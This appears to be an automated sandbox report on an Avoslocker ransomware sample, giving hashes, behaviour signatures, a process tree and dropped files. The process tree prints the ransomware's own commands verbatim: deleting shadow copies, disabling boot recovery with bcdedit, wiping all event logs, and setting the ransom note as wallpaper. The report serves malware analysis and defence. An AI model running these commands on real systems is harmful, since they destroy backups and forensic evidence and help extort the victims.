Overview

overview

10

Static

static

3

T8IRU_sex.exe

windows7-x64

10

T8IRU_sex.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29-12-2024 00:27

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General

  • Target

    T8IRU_sex.exe

  • Size

    3.2MB

  • MD5

    9e85a92de58c89babecf27e74f85d3f4

  • SHA1

    d955b86d566325a2ac8960b45c2cf336ddac4717

  • SHA256

    4b0f1abf2abfd7a9a291425227844bf98b3aa0ac499268b52f69f297bda90839

  • SHA512

    84e094d097ed6ac187d7d301d6a772ca59cfebc829e63cca70685d7176111a3afbad4ff4908932b0ec436a34a302fd53a4fce97aeda126796daab5b130fc72d9

  • SSDEEP

    24576:8SUpZr3y2amHY6MdefqTXeZty61kSSTKa7WsUS2VSs+stModjGdbzfDUBB355zs/:oZat81wua7bUScTLTXO+2NwL5ljasaU

Score
10/10
avoslockerdefense_evasiondiscoveryevasionexecutionimpactransomwaretrojanupx

Malware Config

Signatures

  • Avoslocker Ransomware

    Avoslocker is a relatively new ransomware, that was observed in late June and early July, 2021.

    ransomwareavoslocker
  • Avoslocker family
    avoslocker
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • Renames multiple (8500) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Executes dropped EXE 2 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    evasiontrojan
  • Drops desktop.ini file(s) 1 IoCs
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 4 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • UPX packed file 17 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Program Files directory 64 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 17 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies registry class 28 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 31 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\T8IRU_sex.exe
    "C:\Users\Admin\AppData\Local\Temp\T8IRU_sex.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1408
    • C:\Users\Admin\AppData\Local\Temp\hack.exe
      "C:\Users\Admin\AppData\Local\Temp\hack.exe"
      2⤵
      • Executes dropped EXE
      • Drops desktop.ini file(s)
      • Enumerates connected drives
      • Drops file in Program Files directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:464
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c wmic shadowcopy delete /nointeractive
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3680
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic shadowcopy delete /nointeractive
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:12168
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c vssadmin.exe Delete Shadows /All /Quiet
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2680
        • C:\Windows\system32\vssadmin.exe
          vssadmin.exe Delete Shadows /All /Quiet
          4⤵
          • Interacts with shadow copies
          PID:12272
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c bcdedit /set {default} recoveryenabled No
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4284
        • C:\Windows\system32\bcdedit.exe
          bcdedit /set {default} recoveryenabled No
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:12680
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:444
        • C:\Windows\system32\bcdedit.exe
          bcdedit /set {default} bootstatuspolicy ignoreallfailures
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:13268
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2648
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:12204
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "$a = [System.IO.File]::ReadAllText(\"C:\GET_YOUR_FILES_BACK.txt\");Add-Type -AssemblyName System.Drawing;$filename = \"$env:temp\$(Get-Random).png\";$bmp = new-object System.Drawing.Bitmap 1920,1080;$font = new-object System.Drawing.Font Consolas,10;$brushBg = [System.Drawing.Brushes]::Black;$brushFg = [System.Drawing.Brushes]::White;$format = [System.Drawing.StringFormat]::GenericDefault;$format.Alignment = [System.Drawing.StringAlignment]::Center;$format.LineAlignment = [System.Drawing.StringAlignment]::Center;$graphics = [System.Drawing.Graphics]::FromImage($bmp);$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height);$graphics.DrawString($a,$font,$brushFg,[System.Drawing.RectangleF]::FromLTRB(0, 0, 1920, 1080),$format);$graphics.Dispose();$bmp.Save($filename);reg add \"HKEY_CURRENT_USER\Control Panel\Desktop\" /v Wallpaper /t REG_SZ /d $filename /f;Start-Sleep 1;rundll32.exe user32.dll, UpdatePerUserSystemParameters, 0, $false;"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:28504
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\513130469.png /f
          4⤵
          • Sets desktop wallpaper using registry
          PID:28860
        • C:\Windows\system32\rundll32.exe
          "C:\Windows\system32\rundll32.exe" user32.dll UpdatePerUserSystemParameters 0 False
          4⤵
            PID:29008
      • C:\Users\Admin\AppData\Local\Temp\rufus-4.6p.exe
        "C:\Users\Admin\AppData\Local\Temp\rufus-4.6p.exe"
        2⤵
        • Executes dropped EXE
        • Checks whether UAC is enabled
        • Drops file in System32 directory
        • Checks SCSI registry key(s)
        • Modifies registry class
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SetWindowsHookEx
        PID:3952
    • C:\Windows\System32\vdsldr.exe
      C:\Windows\System32\vdsldr.exe -Embedding
      1⤵
        PID:3632
      • C:\Windows\System32\vds.exe
        C:\Windows\System32\vds.exe
        1⤵
        • Checks SCSI registry key(s)
        PID:4456
      • C:\Windows\system32\vssvc.exe
        C:\Windows\system32\vssvc.exe
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:8764

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        Filesize

        2KB

        MD5

        6cf293cb4d80be23433eecf74ddb5503

        SHA1

        24fe4752df102c2ef492954d6b046cb5512ad408

        SHA256

        b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

        SHA512

        0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

        Download Submit

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\thumbcache_idx.db
        Filesize

        28KB

        MD5

        63695fa3a1382e1d885297aaa4353f48

        SHA1

        a71e48dae9cf40d7b498fe1ee65dc79b939c86ac

        SHA256

        54f46062e4003b7c312ddbdd7fb8f66c5514757ddd1b6666c75f6755528ea7a9

        SHA512

        19f5739ae1c0da6fb6364401f99f8b944af0e0b2ca8d9deb0006d1d7483db2fd3c97ada44c685c5d16c1bbc1d8e6c466f1b39b809d13c1a21847d1d87355fc65

        Download Submit

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        Filesize

        1KB

        MD5

        da5f72415ab3ec473fec571b22dd78e8

        SHA1

        cc1e81830706b3b1faa1357bffcaae93219d6680

        SHA256

        d524aa42b7b3cedcdd8317447904b4a729ef1721085dff5df3311a253e5ab9fb

        SHA512

        62bce97b7d00c5dbe43315c08414acc092731851a2e47e0860ef0cc1a853b7ce7d2b8439a3d94a93393a98881f2b256c4eaa74865262610fef29aa8a285cebbf

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nhmtstdx.bno.ps1
        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\hack.exe
        Filesize

        807KB

        MD5

        e27b5291c8fb2dfdeb7f16bb6851df5e

        SHA1

        40207f83b601cd60905c1f807ac0889c80dfe33f

        SHA256

        ffd933ad53f22a0f10cceb4986087258f72dffdd36999b7014c6b37c157ee45f

        SHA512

        2ddbc50cd780ffbf73c354b9b437322eb49cb05bb6f287d54e7dcafb61dc4c4549e37ae2f972f3d240bfa7d2ca485b7583137f1bf038bc901f378cea0c305c6a

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\rufus-4.6p.exe
        Filesize

        1.5MB

        MD5

        8fe64da09af371b02a31828415ece8f3

        SHA1

        5b5c90dcd425c814b555a4567405601aa977ee0b

        SHA256

        8279696c1d78b14618500e9135886a3667b9decc65946f3729002e4bfdbb20ab

        SHA512

        e49f9b1c9d33364101ad2fd4f2c5ed030700cc941bb469cf2ce7d5b32c51cab9e62b265e05cbd92435453e7e4008c9990bea532298676f7d81e5d6dcdc2f590b

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\rufus.ini
        Filesize

        41B

        MD5

        7b9f798f8ce3b676b01beeffd83bde84

        SHA1

        02a78aa43851cec825c5369172208b42d0078d02

        SHA256

        0a38de4e997bd157790e8e162994960877456c8d413e6c02acbbd620a49c423a

        SHA512

        b10ee7a7e93d18eefd852d83e6d05c6e22cb9a850ba0043b71464f69e81ee51675c59d4cd4026141faa043b26ae2760f283fc5792b7e7184b439f68064342371

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\rufus.ini
        Filesize

        70B

        MD5

        7bc5d038d68d3971f22cc85bf032f584

        SHA1

        b4985d52d650eb863405eadc97570a64da87f936

        SHA256

        86cc4a8c8104014221c0c97812590f5c2727baaa6ba330477129407079c4704d

        SHA512

        0b4cda948214fe758aaec452fe2ca9efb52bee404da10d165c73c1222beb75b9ab7b4aef7a1d11c75f46c6e5e04e802810c0cb16a9ae43c4dc7d159fa219a84f

        Download Submit

      • F:\GET_YOUR_FILES_BACK.txt
        Filesize

        1011B

        MD5

        c92c2b70fb37f84aab38412ad9226aa8

        SHA1

        14f2e9a83285612d0a7b2c83b8f89bccfde6c154

        SHA256

        d64639e873c0873b469cd856d1ef4bce7dc14a80fac6fe2bed9d629f05acc77f

        SHA512

        04f9dcb3cd49909712535255b6eadd7fafcb2902bf1abd5a25e9bb5f5c4dc032611aec0a5b0ec89cd7dbc65276b935c54b906b391507d2e3e3aa65466b15f848

        Download Submit

      • memory/1408-9-0x00007FF6102E0000-0x00007FF610610000-memory.dmp

        Filesize

        3.2MB

        Download

      • memory/3952-22824-0x00007FF7244E0000-0x00007FF72494E000-memory.dmp

        Filesize

        4.4MB

        Download

      • memory/3952-22827-0x00007FF7244E0000-0x00007FF72494E000-memory.dmp

        Filesize

        4.4MB

        Download

      • memory/3952-22745-0x00007FF7244E0000-0x00007FF72494E000-memory.dmp

        Filesize

        4.4MB

        Download

      • memory/3952-22855-0x00007FF7244E0000-0x00007FF72494E000-memory.dmp

        Filesize

        4.4MB

        Download

      • memory/3952-22791-0x00007FF7244E0000-0x00007FF72494E000-memory.dmp

        Filesize

        4.4MB

        Download

      • memory/3952-16757-0x00007FF7244E0000-0x00007FF72494E000-memory.dmp

        Filesize

        4.4MB

        Download

      • memory/3952-22800-0x00007FF7244E0000-0x00007FF72494E000-memory.dmp

        Filesize

        4.4MB

        Download

      • memory/3952-22819-0x00007FF7244E0000-0x00007FF72494E000-memory.dmp

        Filesize

        4.4MB

        Download

      • memory/3952-7-0x00007FF7244E0000-0x00007FF72494E000-memory.dmp

        Filesize

        4.4MB

        Download

      • memory/3952-22746-0x00007FF7244E0000-0x00007FF72494E000-memory.dmp

        Filesize

        4.4MB

        Download

      • memory/3952-22833-0x00007FF7244E0000-0x00007FF72494E000-memory.dmp

        Filesize

        4.4MB

        Download

      • memory/3952-22838-0x00007FF7244E0000-0x00007FF72494E000-memory.dmp

        Filesize

        4.4MB

        Download

      • memory/3952-22841-0x00007FF7244E0000-0x00007FF72494E000-memory.dmp

        Filesize

        4.4MB

        Download

      • memory/3952-22845-0x00007FF7244E0000-0x00007FF72494E000-memory.dmp

        Filesize

        4.4MB

        Download

      • memory/3952-22848-0x00007FF7244E0000-0x00007FF72494E000-memory.dmp

        Filesize

        4.4MB

        Download

      • memory/3952-22852-0x00007FF7244E0000-0x00007FF72494E000-memory.dmp

        Filesize

        4.4MB

        Download

      • memory/12204-17717-0x0000024F72BB0000-0x0000024F72BD2000-memory.dmp

        Filesize

        136KB

        Download